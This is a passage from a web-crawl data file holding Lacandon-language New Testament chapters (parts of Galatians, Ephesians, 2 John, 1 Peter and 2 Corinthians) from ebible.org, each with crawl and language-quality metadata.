u'yamʌnex uch bic tabar a teno' caj in c'ujintaj C'uj uch an ten bic nan u c'ujintajob C'uj u winiquirob judío. A techexo' a toc u'yamʌnex uch bic tabar a teno' jach ts'iquen a teno'. Mʌ' ja wirej, caj in chuc u pach a mac a cu yacsicob tu yorob. A teno' caj in ch'esob a ti'obo', mʌ' otsir caj in wirob a ti'obo'. 14 A teno' caj in jach p'is in bʌj ca' in qui' cʌnej tu cotor a ba' ts'ibta'b ten ic nunquirex ti' u winiquirob judío uch. U jer in rac'ob a jin wet mʌnob mʌ' ju jach cʌn an ten bic ten, quij. A teno' jach manan caj in cʌn u t'ʌn in nunquir. 15 Barej cax mʌ' toy u rochen in nʌ' uch a C'ujo' caj u toc teten quir in beyaj ti'. Mʌ' ja wirej, u jach yajen. Caj u teten quire' tsoy tu t'ʌn C'uj. 16 A C'ujo' caj u chen esaj ten u parar Jesucristo wa jin wer raji' u parar C'uj. Yesaj ten u parar C'uj soc quin bin in tsec't u t'ʌn C'uj. Rajen seb caj binen in tsec't u jach tsoyir u t'ʌn ti' Jesús ich a mʌ' u winiquirob judío. Raja caj binen mʌ' jin war in bini'. 17 Mʌ' binen ich u cajar Jerusalén quir in t'ʌnic a ti'obo' a mac a yʌn teta'b ten C'uj quir u bin u tsec'ticob u t'ʌn. Mʌ' ja wirej, a teno' pachir caj u yʌn teten C'uj, a teno'. Jeroj seb caj binen tu ru'umin Arabia. Caj ts'oc u ts'ic in tucur C'uj ti' u t'ʌn caj sutpʌjen, ich u cajar Damasco caj binen.\n18 Caj ts'oc u man tres u yaxq'uinin aro' caj binen ich u cajar Jerusalén. Ra' u q'uinino' caj in t'ʌna Pedro. A Pedrojo' caj u yacsen tu yatoch. Quince u q'uinin ti' yʌnen tu yʌn Pedro. 19 Barej mʌ' jin wir u rac'ob, Pedro u yet yʌjtseq'uirob u t'ʌn Jesús. Jari' caj in wiraj Jacobo u yits'in Ic Jaj Ts'urirex. 20 A ba' quin ts'ibtic techex baje'rer a C'ujo' yer mʌ' jin tusechex. Taj quin wa'aric techex.\n21 Pachir caj binen tu ru'umin Siria yejer u ru'umin Cilicia quir in tsec'tic ti'ob u t'ʌn C'uj. 22 U winiquirob judío a yacsmʌnob tu yorob tu ru'umin Judea, mʌ' yerob maqueni' quire' mʌ' ju yirob in wich quire' mʌ' binen in wirobi'. 23 Tu chen u'yob in jumintarob a teno': \"A mac tu chucaj ic pachex ucho' baje'rer, tan u mʌn u tsec't u t'ʌn C'uj. Caj u chich tsec't u t'ʌn C'uj. Caj u chich tsec't u t'ʌn C'uj a tu p'ast a ucho'.\" 24 Rajen baje'rer cu ya'aricob ti' C'uj: \"Jach caremech C'uj quire' caj a tacaj Pablo a tu ch'esic a winiquirob ucho'.\"","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/lacNT\/GAL01.htm","date":"2021-12-07T02:22:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363332.1\/warc\/CC-MAIN-20211207014802-20211207044802-00209.warc.gz","language":"lac","language_score":1.0000077486,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"lac_Latn_score\": 1.0000077486038208}","num_words":1043,"character_repetition_ratio":0.072,"word_repetition_ratio":0.006,"special_characters_ratio":0.296,"stopwords_ratio":0.491,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A JE' JU'UNA', RAJI' TI' U YET ACSɅ'ORIROB ICH U CAJAR EFESO. RAJI' TU TS'IBTA PABLO\nEFESO\n1\nA Pablojo' caj u yʌnxchun u tsicbar ti' yet acsʌ'orirob te' ich u cajar Efeso\n1 A teno' Pablojen. A teno' yʌjts'eq'uiren u t'ʌn Jesucristo quire' baxuc u c'at C'uj. A teno', tan in tsicbar yejerechex ich a je' ju'una'. Tan in ts'ibtic techex a mac a cu jach quibicob a ba' ara'b ten Jesús ti' techex quire' ta wacsex ta worex ti'. Tan in ts'ibtic ti' techex a mac a ti' yʌnob ich u cajar Efeso. 2 A teno' in c'at C'uj ca' u yamtej techex, bayiri' xan, in c'at ca' u yamtej techex Jesucristo ic Jaj Ts'urirex soc ca' qui'ac a worex soc mʌna' ba' ca tucriquex.\nCaj qui' quinta'b u yorob ten C'uj quire' a ba' beta'bob ti'ob ten Cristo\n3 Ca' ij carex ti' C'uj, a mac C'uj, bayiri' a mac u Tet ic Jaj Ts'urirex, Jesúsristo, ra' ca' ij carex ti': \"Bayo' C'uj, quire' tu cotor a ba' ta ts'aj tenob quire' Cristo. Ta qui'quintaj ij corex C'uj quire' a ba' tu cotor a ta ts'ajaj ti' tenob C'uj quire' Jesucristo.\" 4 A C'ujo' mʌ' toy u betaj a je' yoc'ocaba', caj u tetaj to'onex soc raji' yʌnino'onex quire' Jesucristo. Caj u tetaj to'onex C'uj soc u tajquintic ij corex soc mʌna' ic si'pirex ʌcʌtan tu wich C'uj. 5 Mʌ' ja wirej, a C'ujo caj u yajquintaj to'onex, rajen, tu ch'ic chunin tu cotor ba' uch, caj u toc araj tu cotor ba' quir u ch'ic pararinquintic to'onex quire' Jesucristo. Rajen a C'ujo' caj u betaj baxuc ti' to'onex, quire' baxuc u c'at. 6 Rajen ca' ij carex ti' C'uj: \"Bayo' C'uj, ca yajo'onex quire' u tsoyir a pixam.\" Ca' ij carex ti' C'uj: \"A yajquintico'onex quire' jach manan tsoy ta t'ʌn tech ca yajquintico'onex, quire' a pararenob Jesucristo.\" 7 Mʌ' ja wirej, jach manan C'uj cu yajquintic to'onex, rajen caj u tuchi'taj u parar Cristo quir u quinsa' ich cruz quir u bo'otic u bo'orir ic si'pirex. Rajen, tu taco'onex baje'rer, quire' tu rʌc rucsaj ic si'pirex. 8 Baxuc caj u betaj ti' to'onex C'uj quire' tu tsoyir u pixam, bayiri' xan, quire' cu yajquintico'onex. Mʌ' ja wirej, quire' tu tsoyir u pixam, caj u ts'aja to'onex ca' ij querex tu cotor ba'. 9 Bayiri' xan, caj u ts'aja to'onex u tucur C'uj soc ic najtex a ba' tu muc u tucraj C'uj uch. Baje'rer caj u cha'ic ic najtiquex a ba' caj tu tucraj uch, quij. 10 Mʌ' ja wirej, a C'ujo' caj u cha' ij querex a ba' tu tucraj wa ber ca' bin ts'abac u beyaj ten C'uj ti' Cristo soc cu bin ts'urinbir tu cotor ba'. Cax a ba' ti' yʌn ich ca'anan, cax a ba' ti' yʌn ich yoc'ocab, raji' Jesús cu bin ts'urinbir.\n11 Quire' tu cotor ba' a ca' bin tac ca' bin c'uchuc tu q'uinin, ra' cu bin tar quire' C'uj tu toc araj uch, rajen baxuc cu bin tar tu jach jajir. Quire' baxuc u c'at C'uj quire' raji' yʌnino'onex quire' Cristo. Baxuc C'uj caj u tucraj, tu ch'ic chunin, rajen toc nup'a'an baje'rer. 12 Rajen ca' ij carex ti' C'uj: \"Bayo' C'uj quire' ta yamtenob.\" Baxuc ca' in wa'arob ti' C'uj, rajra', a tenob pʌyberenob caj in wacsaj tin worob ti' Jesucristo.\n13 A ba' in berob tenob uch, bayiri' xan ti' techex uch, ber ta wu'yajex u jach tsoyir u t'ʌn C'uj, ra' quir u taquic techex, jeroj, ta wacsex ta worex. A baywo' xan, u Taj'or u Pixam C'uj an ten bic ta wu'yajex je' a bin c'ʌmex. Raji' je' u ts'ic techex C'uj quir ij querex raji' yʌneno'onex. 14 U Taj'or u Pixam C'uj, a mac tij c'ʌmajex, raji' quir u yesic to'onex wa je' ij cuxtarex ich ca'anan. Quire' tic toc c'ʌmajex a ba' tu toc araj C'uj wa je' ij c'ʌmajex. Mʌ' ja wirej, u Taj'or u Pixam C'uj raji' cu yesic ti' to'onex raji' tu mana to'onex. Rajen, je' u c'uchur tu q'uinin u tar u bisico'onex ich yicnʌn ca'anan. Rajen, ca' ij carex ti' C'uj: \"Bayo' C'uj quire' a yajo'onex quire' otsir ta wiraj ti' to'onex.\"\nA Pablojo' tan u t'ʌnic C'uj\n15 Caj ts'oc in wu'yic ti' techex ta wacsaj ta worex ti' Jesucristo, ic Jaj Ts'urirex. Bayiri' xan, caj in wu'ya ti' techex an ten bic caj a yajquintajex tu cotor a wet acsʌ'orirex cax tu yʌnob. 16 Rajen, wa ber caj in wu'yaj ti' techex caj in t'ʌnaj C'uj uch, caj in wa'ara ti': \"Bayo' C'uj quire' a mac a tantan xer tan u yacsicob tu yorob ti' tech C'uj.\" Baxuc caj in wa'araj ti' C'uj. U beri' baje'rer tan in t'ʌnic C'uj ti' techex, tan in c'ʌ'otic techex. 17 A C'ujo', raji' u C'ujir ic Jaj Ts'urirex Jesucristo, raji' u Tet a jach manan tsoyir u pixam, raji' quin t'ʌnic soc u ts'ic techex u tucur C'uj soc a werex tu cotor ba'. 18 Tan in t'ʌnic C'uj ti' techex xan, soc u sasichʌjʌrex a wichex quet yejer a tucurex soc a werex ca' bin c'uchuquechex ich ca'anan quire' raji' caj u t'ʌnechex. A baywo' a werex a ba' jach manan tsoy wa ber ca' bin c'uchuco'onex ich ca'anan quir ic rʌc c'ʌmiquex a ba' yʌn ti' C'uj. 19 A baywo' a werex C'uj yʌn jach manan u muc', bayiri' xan soc a werex ra' u muc' a jach manan tan u beyaj ta pixamex, a wacsmʌnex ta worex ti' C'uj. 20 An ten bic u beyanʌjij C'uj caj u c'ʌnaj u muc' uch, quij, caj u ric'saj Cristo ich u quimirir soc u wʌc'ʌs cuxtar. Jeroj, pachir caj cuquintac Cristo ich u noj ich ca'anan quir u sʌjta' ten tu cotor mac, a baxuco' C'uj, tan u yamtic to'onex baje'rer yejer u chichir u muc'. 21 Rajen, tan u sʌjta' Cristo ten C'uj quire' ts'a'b u beyaj ten C'uj ti' Cristo a jach no'oj. Raji' tu ts'ajaj u t'ʌn ti' tu cotor presidente cax rey, cax a mac a cu beyajob ti' gobierno, cax a mac a cu ts'urinticob mac te' ich yoc'ocab. Mʌna' mac u jer jach sʌjta'b ich yoc'ocab an ten bic Cristo, cax baje'rer, cax u q'uinin ca' bin tac. Chen ic Jaj Ts'urirex cu bin sʌjta'bir. 22 A C'ujo' caj u tetaj Cristo quir u ts'urintic tu cotor mac. Bayiri' xan, C'uj caj u cha' ic ts'urintiquex Cristo xan a mac a yacsmʌnob tu yorob ti' Cristo. A Cristojo' caj cuquinta'b ten C'uj soc raji' ic Jaj Ts'urirex irej ic jo'rex. 23 Rajen a to'onexo' irej wa u winquiriro'onex Cristo, a tenob a yacsmʌnob tu yorob ti' Cristo, a baywo' tij c'ʌmajex u jach tsoyir u pixam C'uj, a mac cu ts'urintic tu cotor ba'.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/lacNT\/EPH01.htm","date":"2021-12-02T13:33:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362219.5\/warc\/CC-MAIN-20211202114856-20211202144856-00220.warc.gz","language":"lac","language_score":1.0,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"lac_Latn_score\": 1.0}","num_words":1101,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.292,"stopwords_ratio":0.458,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A JE' JU'UNA', PACHIR CAJ U CA' TS'IBTA JUAN\n2 JUAN\n1\nJach taj a C'ujo' u yajo'onex\n1 A je' ju'una', raji' cu ts'ibtic Juan, a mac tuchi'ta'b ten Jesús uch. Tan in ts'ibtic u ju'unin ti' tech xquic, a mac in jach yaji'. Baxuc a techo' teta'anech ten C'uj. Baxuc xan, quin ts'ibtic ti' a pararob. Mʌ' chen ten in yajechi'. Tu cotor mac a yer C'ujo', cu yajquintiquechex. 2 Rajen quin yajquintiquech, quire' yʌn to'onex u t'ʌn C'uj tij corex. Ti' yʌn u t'ʌn C'uj tij corex munt q'uin. 3 A teno' in c'at ic Tetex C'uj yejer ic Jaj Ts'urirex Jesucristo ca' u yirob otsiro'onex. In c'at ic Tetex C'uj yejer ic Jaj Ts'urirex Jesucristo ca' u yamto'onexob an ten bic jach manan tsoy tu t'ʌnob C'uj. In c'at ic Tetex C'uj yejer ic Jaj Ts'urirex ca' qui'ac ij corex ten ti'obo' soc mʌna' ba' quic tucriquex. A ra' yʌn to'onexo' a mac a taj tu yacsaj tu yor a tan u pacran yajquinticob u bʌjob.\n4 Jach nequi' in wor caj in wu'yaj jun yarob a pararob cu quibicob u t'ʌn C'uj. Mʌ' ja wirej, baxuc caj u toc araj to'onex C'uj ic Tetex uch, ca' ij quibex u t'ʌn. 5 A teno', quin chich c'atic tech chan xquic, in wet acsʌ'orirech. Baje'rera', quin chich c'atic tech ca' ic pacran yajquintex ij quet acsʌ'orirex. A je' t'ʌna', a quin ts'ibtic techex, ca' ic pacran yajquintex ij quet acsʌ'orirex. Mʌ' ric'ben t'ʌni', quire' ta toc u'yex caj a wacsex ta worex uch. 6 Ca' ij qui' u'yex a ba' ara'b ten C'uj. Ra' u c'at ya'aric to'onex, ca' ic pacran yajquintex ij quet acsʌ'orirex. Ra' ta wu'yex caj a yʌn acsex ta worex uch ca' manaco'onex an ten bic winic a cu yajquinticob C'uj, baxuc xan, a cu yajquinticob u yet acsʌ'orirob.\nYʌjtusirob mac\n7 Quin c'asic techex ca' a wu'yex a ba' caj u ya'araj to'onex C'uj uch. Ti' cu man tu yʌnechex a cu tus aricob techex, yʌjtusirob. Cu man u tus a'arej tu cotor mac. Cu tus manob ya'arej: \"Mʌ' jach tar u bʌq'uer C'uj caj tar Jesucristo.\" Aro' yʌjtusir mac, bayiri' cu p'acticob Cristo. Yʌn ya'ab baxuco'. 8 Qui' cʌnant a bʌjex soc mʌ' a sʌtiquex u bo'orir a beyajex ti' C'uj. Qui' cʌnant a bʌjex soc a c'ʌmiquex u qui' nup'ur u bo'orir a beyajex ca' bin xiquechex ʌcʌtan ich C'uj.\n9 A mac a caj u jenmastaj u t'ʌn C'uj a mʌ' cu p'atʌr ti' u t'ʌn C'uj a ba' camsa'b ten Cristo uch. Raji' mʌ' yer C'uji'. Barej a mac cu p'atʌr ti' a ba' camsa'b ten Cristo uch. Raji' yer C'uj, ic Tetex. Raji' yer xan u parar C'uj. 10 Wa cu tar mac tu yʌnechex quir u tus camsiquechex u t'ʌn C'uj. Chen mʌ' ju camsechex a ba' camsa'b ten Jesús. Mʌ' tsoy a wacsiquex tu yʌnechexi' mʌ' tsoy a t'ʌniquex xani'. 11 Mʌ' ja wirej, wa ca t'ʌniquex ca yamtiquex ti' u c'asir a ba' cu camsico'onex.\nTabar u ts'ocar u t'ʌn Juan\n12 Cax yʌn ya'ab in t'ʌn quir in ts'ibtic techex ich ju'un. Chen mʌ' in c'at in ts'ibtiquechexi'. In c'at soc ca' tsicbanʌco'onex soc jach qui' ij corex.\n13 U pararexob a bʌj a xquic a teta'b ten C'ujo' caj u ya'araj: \"In qui' t'ʌniquechex.\" Jeroj ts'oquij, quij Juan.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/lacNT\/2JN01.htm","date":"2021-11-27T03:27:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964358078.2\/warc\/CC-MAIN-20211127013935-20211127043935-00021.warc.gz","language":"lac","language_score":1.0000046492,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"lac_Latn_score\": 1.0000046491622925}","num_words":541,"character_repetition_ratio":0.062,"word_repetition_ratio":0.011,"special_characters_ratio":0.291,"stopwords_ratio":0.433,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A JE' JU'UNA', CAJ U YɅN BAT'AN TS'IBTA PEDRO\n1 PEDRO\n1\nPedro caj u ts'ibtaj a je' ju'una' ti' u yet acsʌ'orirob a tantanxer yʌn u cajarob\n1 A teno' Pedrojen, a jin wʌjtuchi'yʌjiro' Jesucristo. U c'at ya'aric a mac tuchi'ta'b ten Jesús quir u tsec'tic u t'ʌn. Caj in ts'ibta techex a je' ju'una', a tantanxer cʌja'anechex quire' caj a wacsex ta worex u t'ʌn C'uj. Rajen caj in ts'ibta techex. Caj in ts'ibta techex, a tantanxer cʌja'anechex ich u ru'umin Ponto. A ti' yʌnechex ich u ru'umin Galacia. A ti' yʌnechex ich u ru'umin Capadocia. A ti' yʌnechex ich u ru'umin Asia. A ti' yʌnechex ich u ru'umin Bitinia. 2 Caj u yʌn bat'an tetechex C'uj ic Tetex C'uj quire' yʌn ba'wir techex. Mʌ' ja wirej, u c'at u qui'quintic a worex. Caj u tetechex ic Tetex C'uj soc u yamtiquechex u Taj'or u Pixam C'uj quir a quibiquex u t'ʌn Jesucristo. Caj u tetechex ic Tetex C'uj quir u jawsic a si'pirex Jesucristo wa ber caj quimij ich cruz. A teno', quij Pedro, quin c'atic ti' C'uj ca' u qui'qui' cʌnan techex C'uj, baxuc, ca' qui'ac a worex ten C'uj soc mʌna' ba' ca tucriquex.\nTan ic pajiquex u ta'quico'onex C'uj\n3 Ca' ij carex ti' C'uj, ra' u Tet ic Jaj Ts'urirex Jesucristo: \"Jach caremech C'uj, caj ij ca'arex ti'. A techo' caj a yajquin to'onex soc mʌ' ic sa'tʌrex. A techo' C'ujech, caj ij ca'arex ti'. Ta ts'aja to'onex ij cuxtarex a ric'beno' caj a ric'saj Jesucristo ich u quimirir. Rajen qui' ij corex ic pajiquex u tar Jesucristo quir u ts'ic ij cuxtarex munt q'uin.\" Baxuc ca' ij ca'arex ti' C'uj. 4 Tan ic ch'uctiquex u ts'ic to'onex ij cuxtarex munt q'uin quire' raji' tan u qui' cʌnantic ich ca'anan tu mʌ' ju poc'ar. Tu mʌ' ju ts'uts'ur irej u top che' tera'. 5 A rayo' yʌn techex ich ca'anano' quire' ta wacsex ta worex ti' C'uj. Rajen yʌn u muc' C'uj cu cʌnantiquechex quir u ts'ic techex a cuxtarex munt q'uin, a ca pajiquexe'.\n6 Rajen qui'quint a worex baje'rer. Cax ca jamach muc'yajex tu cu tumticob a worex a rac'ob. 7 Mʌ' ja wirej, irej oro cu tumtic yirej. Baxuc techex, irej oro cu tumtic yirej wa cu to'quic, cu yerar a orojo'. A cu tar u tumtic ij corex soc yiric wa taj quij cacsiquex tij corex. A taj caj u yacsaj tu yor, cu muc'tic tu cu tumta'r yor ten u rac'ob. A mac a cu muc'tico', jach tsoy yirir ten C'uj. A orojo' mʌ' munt q'uini'. Mʌ' ja wirej, cu to'ca'r ca' erac quir u ruc'sic yeq'uir. Ca' bin ts'ocac u tumta'r a worex C'uj cu bin ya'aric: Jach tsoyechex. Ca' bin tac Jesucristo, je' a bin cʌjtarex yejer C'uj. Je' a wu'yiquex ya'ara' ten C'ujo': \"Tsoyechex, quij, tu ta muc'tex.\"\n8 Cax mʌ' a wirmʌnex Jesúsi', caj a yajquintex caj a wacsex ta worex ti'. Rajen jach manan qui'ir a worex, cax mʌ' a wirmʌnexi'. 9 Rajen qui' a worex quire' caj a wacsex ta worex soc a taquiquex a pixamex.\n10-11 A ucho' caj ara'b ten u Taj'or u Pixam C'uj ti' yʌjtseq'uirob u t'ʌn C'uj, a ba' ca' u ts'ibtob. Caj ara'b ti'ob caj u ts'ibtob: \"Bin u caj tar mac quir u muc'yaj soc u taquico'onex quire' u yajo'onex C'uj.\" Robob u yʌjtseq'uirob u t'ʌn C'uj mʌ' ju najtob a ba' cu tsicbarob ti' Cristo. Rajen caj u cʌxtob u ju'unin u t'ʌn C'uj quire' u c'at yerob mac cu tsicbarob ca' bin tac. Baxuc wa ber ca' bin tac. A ucho', yʌjtseq'uirob u t'ʌn C'uj caj u cʌxtob ich u t'ʌn C'uj ca' u najtob bic tabar u taquiquex a pixamex. A ba' cu tsec'ticob mʌ' ju najtob u bʌjiri' yʌjtseq'uirob u t'ʌn C'uj. Robob caj u tsec'atob soc je' u tar yʌjtaquir ic pixamex. 12 Yʌjtseq'uirob u t'ʌn C'uj cu ts'abʌr u tucurob ten u Taj'or u Pixam C'uj soc ca' ic najtex bic tabar u tar Cristo. Mʌ' raji' ti' u bʌjiri' yajtseq'uirob raji' u t'ʌn C'uj, raji' ti' u jer winic ca' bin tac, to'onex baje'rero'. Mʌ' ja wirej, ra'iri' ti'e' u t'ʌn C'uj cu tsec'tic techexe'. Caj a wu'y. Ra'iri' ti'e', quire' tuchi'bir ten C'uj yʌjtseq'uirob u t'ʌn C'uj soc u tsec'tic techex a wu'yex quir a taquiquex a pixamex. Yejer u muc' u Taj'or u Pixam C'uj caj u tsec'tob techex. A rayo' yʌjmasirob u t'ʌn C'uj ca'anan xan u c'at u najticob bic tabar ic taquiquex ic pixamex. Chen mʌ' ju najtob.\nC'ujo' u c'at yiric mac u man tu tsoyir\n13 Qui'qui' tucrex a ba' ca bin a betexe' soc mʌ' a wacsiquex a si'pirex. Rajen qui' cʌnant a bʌjex. Qui'qui' pajex Jesucristo ca' bin uruc. Je' u ts'ic techex a cuxtarex ca' bin uruc quire' cu yajquintiquechex Jesucristo. 14 Yʌn qui'qui' u'yex u t'ʌn a Tetex. Mʌ' ja wirej, a Tetex C'uj. Mʌ' a manex tu c'asir an bic caj manechex uch. Mʌ' ja wirej, a ray u q'uinino' mʌ' a werex u t'ʌn C'uj uchi'. 15 Rajen ca' a cʌnex C'uj, quire' raji' mʌna' u si'pir. Quire' raji' caj u pʌyechex soc raji' yʌninechex. Rajen caj manaquechex tu tsoyir. Baxuc caj ara'b ten C'uj. 16 C'ʌ'otex tu ts'iba'an u t'ʌn C'uj tu ju ya'araj to'onex: \"Mʌ' a yʌn acsiquex a si'pirex. Baxuqueno', in c'at ca' a cʌnenex, quij C'uj.\"\n17 Wa ber ca' bin tsicbanʌco'onex yejer C'uj. Ca' ij carex ti' C'uj: \"Ic Tetex.\" Mʌ' ja wirej, raji' ic Tetex. C'ʌ'otex, a C'uje' ic Tetex bin u ca' yirej a mac a tu yacsaj tu yoro'. Ca' bin tac, taj cu bin yirej wa qui' beyanʌjo'on wa tij qui' quibex u t'ʌn ti' C'uj. Rajen ca' ic sʌjtex C'uj a munt q'uin ti' yʌno'onex ich yoc'ocab. 18 A werex bic tabar caj u taquechex Jesús. Jach co'oj caj u bo'otaj, quire' yejer u q'uiq'uer caj u toc bo'otaj. Mʌ' yejer taq'uini' caj u bo'otaj, quire' a taq'uino' cu rabʌr. Rajen a taq'uino' mʌ' c'ucha'an yor u bo'otic u bo'orir a si'pirexi'. Tu bo'otaj u bo'orir a si'pirex yejer u q'uiq'uer soc u jawsic a si'pirex. Rajen a ba' caj a wu'yex ya'aric a nunquirex uch. Jot, a ba' caj u camsechex a nunquirex uch. 19 Caj quinsa'b Jesús ich cruz. Quinsa'b irej tʌmʌn yuc a jach tsoyo' a cu quinsa'r uch, u bo'orir u si'pir mac. Caj quimij Jesús ich cruz mʌna' c'ʌs si'pir chichin. 20 C'aj techex. Toc ara'b ti' Cristo u tar ten C'uj tu ch'ic chunin uch. Cax mʌ' toy beta'c ru'um uchi'. Toc teta'b Cristo quir u quimin to'onex. Caj c'uchij tu q'uinin a tu p'is u q'uinin C'uj caj tar Cristo caj ij quirex, quij. Mʌ' ja wirej, tarij quir u quimin to'onex. Quir u bo'otic ic si'pirex. 21 Caj a wacsex ta worex ti' Jesucristo baxuc caj a wacsex ta worex ti' C'uj. Mʌ' ja wirej, ric'sa'b Jesús ten C'uj tu quimirir. Rajen ta wacsex ta worex ti'. Ric'sa'b Jesús ten C'uj soc yer mac jach no'j Jesús. Rajen ta wacsex ta worex ti' C'uj quir a cuxtarex munt q'uin quire' raji' ca pajiquex C'uj ca' u ts'a techex a cuxtarex.\n22 Baje'rer a techexo', ta wu'yex u t'ʌn C'uj, rajen u yajechex u Taj'or u Pixam C'uj. A baywo' tu jaws a si'pirex, rajen ca qui'qui' yajquintiquechex a wet acsʌ'orirex. Ca' a pacran yajquint a bʌjex. Taj ca qui' yajquint a bʌjex. 23 A techexo' ric'benechex quire' ta quibex u t'ʌn C'uj, raji' cuxriquechex u t'ʌn C'uj. Ric'benechex ire ca' rocha'bechex ten a nʌ'ex. Mʌ' ja wirej, u t'ʌn C'uj mʌ' ju ts'ocar, rajen quic bin cuxtarex munt q'uin. Mʌ' ja wirej, ic tetex, mʌ' ju jach ts'aj ij cuxtarex ich yoc'ocabi' je' ij quiminexe'. 24 Mʌ' ja wirej, ti' ts'iba'an ich u t'ʌn C'uj a cu ya'aric:\nTu cotor mac irej su'uc. Mʌ' ja wirej, tu cotor ju tsoyo' ich yoc'ocab, cu manob irej su'uc u top'. Cu tijir a su'uco', cu jutur u top'. Baxuco'onex, xan, ca' bin quimico'onex mʌ' ju c'ajʌrto'onex ic rac'obex. 25 Barej u t'ʌn C'uj, mʌ' ju ts'ocar munt q'uin yʌn.\nRa'iri' ti' u t'ʌn C'uj, caj tsec'ta'b techex quir a wacsiquex ta worex.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/lacNT\/1PE01.htm","date":"2021-12-01T13:27:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964360803.0\/warc\/CC-MAIN-20211201113241-20211201143241-00389.warc.gz","language":"lac","language_score":1.00000453,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"lac_Latn_score\": 1.000004529953003}","num_words":1337,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.292,"stopwords_ratio":0.457,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A JE' JU'UNA', PACHIR CAJ U CA' TS'IBTA PABLO TI' U YET ACSɅ'ORIROB ICH U CAJAR CORINTO\n2 CORINTIOS\n1\nPablo caj u ts'ibtaj ti' a mac a cu much'quinticob u bʌjob quir u yubicob u t'ʌn C'uj ich u cajar Corinto\n1 A teno' Pablojen, p'eri'en yejer Timoteo, ij quet acsa'orirex, tan in ts'ibticob techex a je' ju'una'. C'uj caj u teten soc yʌj tseq'uiren Jesucristo quir in beyaj ti', quire' tsoy tu t'ʌn Jesús, rajen quin tsec'tic u t'ʌn. Tan in tuchi'ticob a je' ju'una' soc a xaquiquex, a mac a yacsmʌnob tu yorob ich u cajar Corinto quet yejer a mac C'uj yʌninob, a mac a cʌja'an ich tu cotor u ru'umin Acaya. 2 A teno' in c'at C'uj ic Tetex ca' u yam techex soc mʌna' ba' ca tucriquex. Bayiri' xan, in c'at techex aro' ic Jaj Ts'urirex Jesucristo.\nA ba' muc'yajnʌjij Pablo ti' a mac a mʌ' yerob C'uj\n3 Ca' ij carex ti' C'uj, a mac u Tet ic Jaj Ts'urirex Jesucristo: \"Bayo' C'uj, tech ta tucrenob, rajra' tan a chichquintic in worob.\" 4 Mʌ' ja wirej, raji' cu chichquintic ij corex wa ber cu c'uchur to'onex tu cotor muc'yaj. Rajen, c'ucha'an ij corex ic chichquintiquex u yorob ij quet acsa'orirex wa ber cu muc'yajob, quire' C'uj caj u chichquintaj ij corex tu muc'yajnʌjo'onex uch. 5 Mʌ' ja wirej, a mac a yacsmʌnob tu yorob, bin u ca' tar u muc'yajob an ten bic muc'yajnʌjij Cristo uch soc u cʌnicob Cristo, chen raji' cu chichquintic ij corex wa ber quic muc'yajex. 6 A tenobo' tan in muc'yajob baje'rer soc c'ucha'an in worob in chichquinticob a worex, bayiri' soc je' u to'car a pixamex. Wa ber C'uj cu chichquintic in worob, jeroj je' a wiriquex bic tabar xan cu bin chichquintic a worex C'uj. Bayiri' bic tabar cu bin tacbir a pixamex ten C'uj. Quire' wa ber cu tar techex a muc'yajex an ten bic muc'yajnʌjenob, a tenobo' in c'atob a qui' muc'tiquex a muc'yajex a tan u tar techex. 7 Mʌ' nacʌr in worob quire' a techexo'. Mʌ' ja wirej, in werob wa ca muc'yajex xan an ten bic a tenobo' muc'yajnʌjenob je' u chichquinta'r a worex xan.\n8 A tenobo' in c'at in c'asicob techex, in wet acsa'orirex bic tabar muc'yajnʌjenob tar ich u ru'umin Asia. Quire' jach manan muc'yajnʌjenob soc orac mʌna' in worob, rajen in werob wa je' in quimenobe'. 9 A tenob in werob je' u c'ubiquenobe' a tenobo' soc in quinsa'ob. Mʌ' ja wirej, a ba' in ber a tenobo' tarij quire' C'uj soc in c'ubic in bʌjob ti' C'uj, a mac cu ric'sic mac ich u quimirir soc u wʌc'ʌs cuxtar. Tarij soc in cʌnicob wa mʌ' in muc'ticob in bʌjiri'ob tin junanob. 10 Chen C'uj caj u joc'sen a tenobo' tu tabar u ch'esiquenob a tenobo'. Ra'iri' C'uj xan je' u joc'siquen a tenob a ra' u q'uinin a cu taro', rajen quin wacsic tin worob wa je' u rajra' joc'siquenob soc in to'carob a tenobo'. 11 Wa ca yamtiquenobex quire' tan a t'ʌnic tenob C'uj. Wa jaj ix ti', ya'ab mac cu t'ʌnicob C'uj tenob, ya'ab mac cu bin ya'arej: \"Bayo' C'uj\" quire' ta wesaj a tenob u jach tsoyir a pixam.\nBiquin mʌ' seb binij Pablo ich u cajar Corinto\n12 A tenob jach qui' in worob caj in wu'yajob quire' caj in betob tsoy techex, a mac a ti' yʌnob ich yoc'ocab. A tenobo' caj in p'is in bʌjob soc in manob tu tsoyir. A baywo' caj in betob wa ber ti' yʌnenob yejerechex uch, quire' tu yamtajenob C'uj. A tenobo' mʌ' jin najtob ba' an ten bic mac ich yoc'ocab cu chen najticob ba'. 13 A techexo', a werex aro' jach taj. A tenobo' mʌ' tin wa'arajob u jer t'ʌnob ich u jer u ju'unin caj in tuchi'techex uch, jari' a ba' c'ucha'an a worex a xaquex a wirex. Bayiri' a ba' tan a najtiquex, an bic quin pajicob cu c'uchur tu q'uininin je' a 